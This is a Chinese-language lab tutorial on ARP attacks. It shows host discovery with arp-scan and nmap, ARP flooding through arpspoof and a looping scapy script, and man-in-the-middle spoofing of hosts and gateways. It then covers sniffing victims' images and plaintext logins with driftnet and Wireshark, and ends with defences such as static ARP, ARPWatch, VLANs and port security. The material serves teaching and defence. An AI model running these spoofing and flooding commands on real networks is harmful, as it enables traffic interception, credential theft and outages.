常見APR攻擊及其防護
0x01 什么是ARP
地址解析協議——ARP;是根據IP地址獲取物理地址的一個TCP/IP協議。主機發送信息時將包含目標IP地址的ARP請求廣播到局域網絡上的所有主機,并接收返回消息,以此確定目標的物理地址;收到返回消息后將該IP地址和物理地址存入本機ARP緩存中并保留一定時間,下次請求時直接查詢ARP緩存以節約資源。
0x02 交換機數據轉發原理
交換機收到數據幀的時候,先解封裝數據鏈路層,查看這一層的源MAC地址,并且關聯自己接收數據的這個接口,把關聯MAC地址和接口的信息更新到MAC地址表里面查看這一層的目標MAC地址,然后查詢MAC地址表,根據目標MAC對應的接口將這個數據轉發出去
如果這個時候,MAC地址表是空的/丟棄?廣播-將這個數據幀進行復制,然后向各個接口轉發出去
0x03 探測局域網中存活主機
3.1 執行掃描
3.2.1 arp-san掃描
主網絡接口的信息掃描本地
arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:fa:ac:f0, IPv4: 192.168.47.203
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.47.40 2c:fe:4f:a8:52:a8 (Unknown)
192.168.47.183 e0:d0:45:66:a7:b5 Intel Corporate
192.168.47.241 00:0c:29:97:a9:7c VMware, Inc.
6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.229 seconds (114.85 hosts/sec). 3 responded
掃描子網指定要使用的接口和自定義源MAC地址
arp-scan -I eth0 --srcaddr=mac地址 192.168.47.0/24
Interface: eth0, type: EN10MB, MAC: 00:0c:29:fa:ac:f0, IPv4: 192.168.47.203
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.47.40 2c:fe:4f:a8:52:a8 (Unknown)
192.168.47.183 mac Intel Corporate
192.168.47.241 00:0c:29:97:a9:7c VMware, Inc.
7 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.234 seconds (114.59 hosts/sec). 3 responded
3.2.2 namp掃描
nmap -sU --script nbstat.nse -p137 192.168.1.0/24 -T4
-sU: 表示執行UDP掃描。
--script nbstat.nse: 指定運行名為 nbstat.nse 的Lua腳本。這個腳本通常用于獲取目標主機的NetBIOS信息。
-p137: 掃描端口137。這個端口通常用于NetBIOS名稱服務。
192.168.1.0/24: 指定要掃描的目標IP地址范圍,這里是192.168.1.0網段下的所有主機。
-T4: 設置掃描技術為“狂野”模式,這會讓掃描速度更快但可能會觸發更多的IDS/IPS報警。
特別針對ARP協議來探測局域網內哪些主機是活躍的使用 -PR 參數發送ARP請求:
nmap -sn -PR 192.168.1.0/24
-PR: 使用ARP ping(僅限于本地網絡)。
ARP請求只能在同一物理網絡(廣播域)中使用,因此它不能穿越路由器。如果你需要跨網段探測主機,你需要使用其他方法
掃描結果
nmap -sU --script nbstat.nse -p137 192.168..0/24 -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-04 04:06 EDT
Nmap scan report for 192.168.47.40
Host is up (0.0042s latency).
PORT STATE SERVICE
137/udp closed netbios-ns
MAC Address: 2C:FE:4F:A8:52:A8 (Unknown)
Nmap scan report for 192.168.47.183
Host is up (0.00053s latency).
PORT STATE SERVICE
137/udp open|filtered netbios-ns
MAC Address: E0:D0:45:66:A7:B5 (Intel Corporate)
Nmap scan report for 192.168.47.241
Host is up (0.0014s latency).
PORT STATE SERVICE
137/udp open netbios-ns
MAC Address: 00:0C:29:97:A9:7C (VMware)
Host script results:
| nbstat: NetBIOS name: WIN-SJDPHJOO12L, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:97:a9:7c (VMware)
| Names:
| WIN-SJDPHJOO12L<00> Flags: <unique><active>
| WIN-SJDPHJOO12L<20> Flags: <unique><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1e> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
|_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
Nmap scan report for 192.168.47.203
Host is up (0.000064s latency).
PORT STATE SERVICE
137/udp closed netbios-ns
Nmap done: 256 IP addresses (4 hosts up) scanned in 7.01 seconds
?
3.2.3 ettercap探測
ettercap -G 啟動圖形化界面

3.2得到存活主機
192.168.47.183
192.168.47.241
192.168.47.203
0x04:常見ARP攻擊類型
4.1arp泛洪攻擊
搭建實驗網絡
- 在攻擊機和目標機之間建立網絡連接,確保它們在同一個子網中。
- 確保交換機或虛擬交換機工作正常。
獲取網絡信息
- 在攻擊機上使用
ifconfig或ip a命令查看自己的IP和MAC地址。 - 使用
arp -a命令查看當前ARP緩存中的內容。
使用ARP泛洪工具
1. 使用arpspoof工具:
安裝工具(如果未安裝):
sudo apt-get install dsniff
執行ARP泛洪命令:
sudo arpspoof -i eth0 -t <目標IP> <網關IP>
-i eth0:指定網卡接口。
-t <目標IP>:目標主機的IP地址。
<網關IP>:網關的IP地址。
此命令將向目標主機發送大量的偽造ARP應答包,導致ARP緩存中毒。
2. 使用scapy腳本:
創建一個簡單的ARP泛洪腳本:
pythonCopy codefrom scapy.all import *
def flood_arp(target_ip, gateway_ip):
packet = ARP(op=2, pdst=target_ip, psrc=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff")
while True:
send(packet, verbose=False)
target_ip = "目標IP地址"
gateway_ip = "網關IP地址"
flood_arp(target_ip, gateway_ip)
執行腳本,將目標IP和網關IP替換為實驗中的實際地址。
4.2 ARP欺騙(中間人攻擊)
地址解析協議是建立在網絡中各個主機互相信任的基礎上的,局域網絡上的主機可以自主發送ARP應答消息,其他主機收到應答報文時不會檢測該報文的真實性就會將其記入本機ARP緩存;由此攻擊者就可以向某一主機發送偽ARP應答報文,使其發送的信息無法到達預期的主機或到達錯誤的主機,這就構成了一個ARP欺騙。

4.2.1 主機欺騙
欺騙主機可以獲取主機的流量,并且對其監控
攻擊:kali(aprapoof)
靶機:win7
先看一下靶機和網關的mac地址

測試網絡連通性

接下來利用arpspoof工具,對主機A進行ARP欺騙攻擊,從而靶機會造成斷網現象。
arpspoof -i eth1 -t 192.168.196.141 192.168.196.2

靶機上查看ARP表,網關對應的MAC地址變成kali的MAC地址

ARP欺騙的主要目的是讓目標主機靶機的流量先經過攻擊主機kali的網卡,再從網關出去,而網關也會把原本流入目標靶機的流量經過攻擊主機kali。在進行ARP欺騙之前,我們要先開啟攻擊主機kali的IP轉發功能,如果不開啟的話,我們攻擊之后先會使目標靶機斷網,而不是欺騙。通過以下命令開啟并開始進行ARP欺騙攻擊。
啟用端口轉發
echo 1 > /proc/sys/net/ipv4/ip_forward

此時在攻擊主機kali上就可以利用圖片嗅探工具driftnet來捕獲目標靶機在上網過程中查看的圖片。因為靶機在上網過程中的流量都需要先經過攻擊主機kali。
eth0監聽:
driftnet -i eth0
讀取指定pcap數據包:
driftnet -f /home/tmp/tmp.pcapng -a -d /tmp/
還原靶機正常的網關
arp -d
清楚緩存重新自動獲取mac
4.2.2 網關欺騙
欺騙網關可以獲得其他主機的流量

啟動端口轉發
臨時端口轉發
sysctl -w net.ipv4.ip_forward=1
或者
echo 1 > /proc/sys/net/ipv4/ip_forward
永久端口轉發
編輯/etc/sysctl.conf文件:
sudo nano /etc/sysctl.conf
找到并修改或添加以下行:
net.ipv4.ip_forward = 1
保存并退出編輯器,然后應用更改:
sudo sysctl -p
驗證IP轉發是否啟用
驗證設置是否生效:
sysctl net.ipv4.ip_forward
輸出為 net.ipv4.ip_forward = 1 表示IP轉發已啟用。
# 第一條命令欺騙網關
arpspoof -i eth0 -t 192.168.1.1 192.168.1.10
# 第二條命令欺騙受害者
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
在攻擊者機器上使用Wireshark捕獲網絡流量,以驗證受害者和網關之間的通信是否被成功攔截。
打開Wireshark,選擇攻擊者的網絡接口(如eth0)。
設置過濾器,ip.addr == ip
開始捕獲,并檢查是否可以看到受害者和網關之間的通信。
分析敏感數據,如明文HTTP流量或未加密的登錄信息。
4.3 拒絕服務攻擊:
拒絕服務攻擊是一種攻擊類型,其中一個或多個受害者無法訪問網絡。借助ARP欺騙,單個目標受害者的MAC地址被鏈接到多個IP地址。因此,所有流量都會轉向目標受害者的MAC地址,導致目標受害者的網絡因流量過載而癱瘓。(DOS)

4.4 ARP重放攻擊:
攻擊者捕獲網絡中的ARP響應包,并將其重新發送出去,以此來欺騙其他計算機,使其認為攻擊者的MAC地址是合法的,從而將數據發送到錯誤的MAC地址。
實驗結束后,通過停止ARP欺騙和刷新ARP緩存來恢復網絡狀態。
0x05 恢復網絡狀態
停止 arpspoof 進程:
pkill arpspoof
刷新攻擊者和受害者機器上的ARP緩存:
-
在Linux上:
ip -s -s neigh flush all -
在Windows上:
arp -d *
0x06 安全防護措施
6.1 靜態ARP表
在關鍵設備上設置靜態ARP表,防止ARP緩存被篡改。
6.2 ARP檢測工具
使用ARP防護軟件或啟用交換機的ARP檢測功能來監控異常ARP行為。
6.3 加密通信
使用HTTPS、VPN等方式加密通信,防止流量被篡改或竊聽。
6.4 定期監控和分析網絡流量
使用網絡監控工具(如Wireshark、Zeek、Snort)定期檢查網絡流量,檢測異常的ARP請求和響應。
設置ARP流量的監控報警,提示不一致的IP-MAC綁定情況。
分析網絡流量圖表,檢測可疑的重復ARP廣播。
6.5 安裝ARP防護軟件
使用ARP防護工具,如ARPWatch、XArp,主動監控網絡中的ARP活動,檢測和報警ARP欺騙行為。
操作:安裝后可設置報警規則和防護模式,根據需求自動阻止可疑ARP流量。
6.6 隔離網絡(VLAN)
通過劃分虛擬局域網(VLAN),將網絡設備隔離在不同的廣播域,限制ARP欺騙影響的范圍。
- 優點:減少ARP欺騙攻擊的傳播路徑,提高整體網絡安全性。
- 實施
- 將用戶、服務器和管理設備分配到不同的VLAN。
- 配合ACL(訪問控制列表)進一步限制通信。
6.7 使用IPv6
IPv6協議相比IPv4有更強的內置安全機制,如Neighbor Discovery Protocol(NDP)代替ARP,減少ARP欺騙攻擊的可能性。
- 限制:需要所有設備支持IPv6,可能涉及復雜的網絡升級。
6.8 端口安全與MAC地址綁定
在交換機上配置端口安全性(Port Security),綁定特定端口的MAC地址,拒絕非授權設備的接入。
- 配置方法:在交換機上設置端口的靜態MAC地址綁定或使用動態學習功能限制接入。

浙公網安備 33010602011771號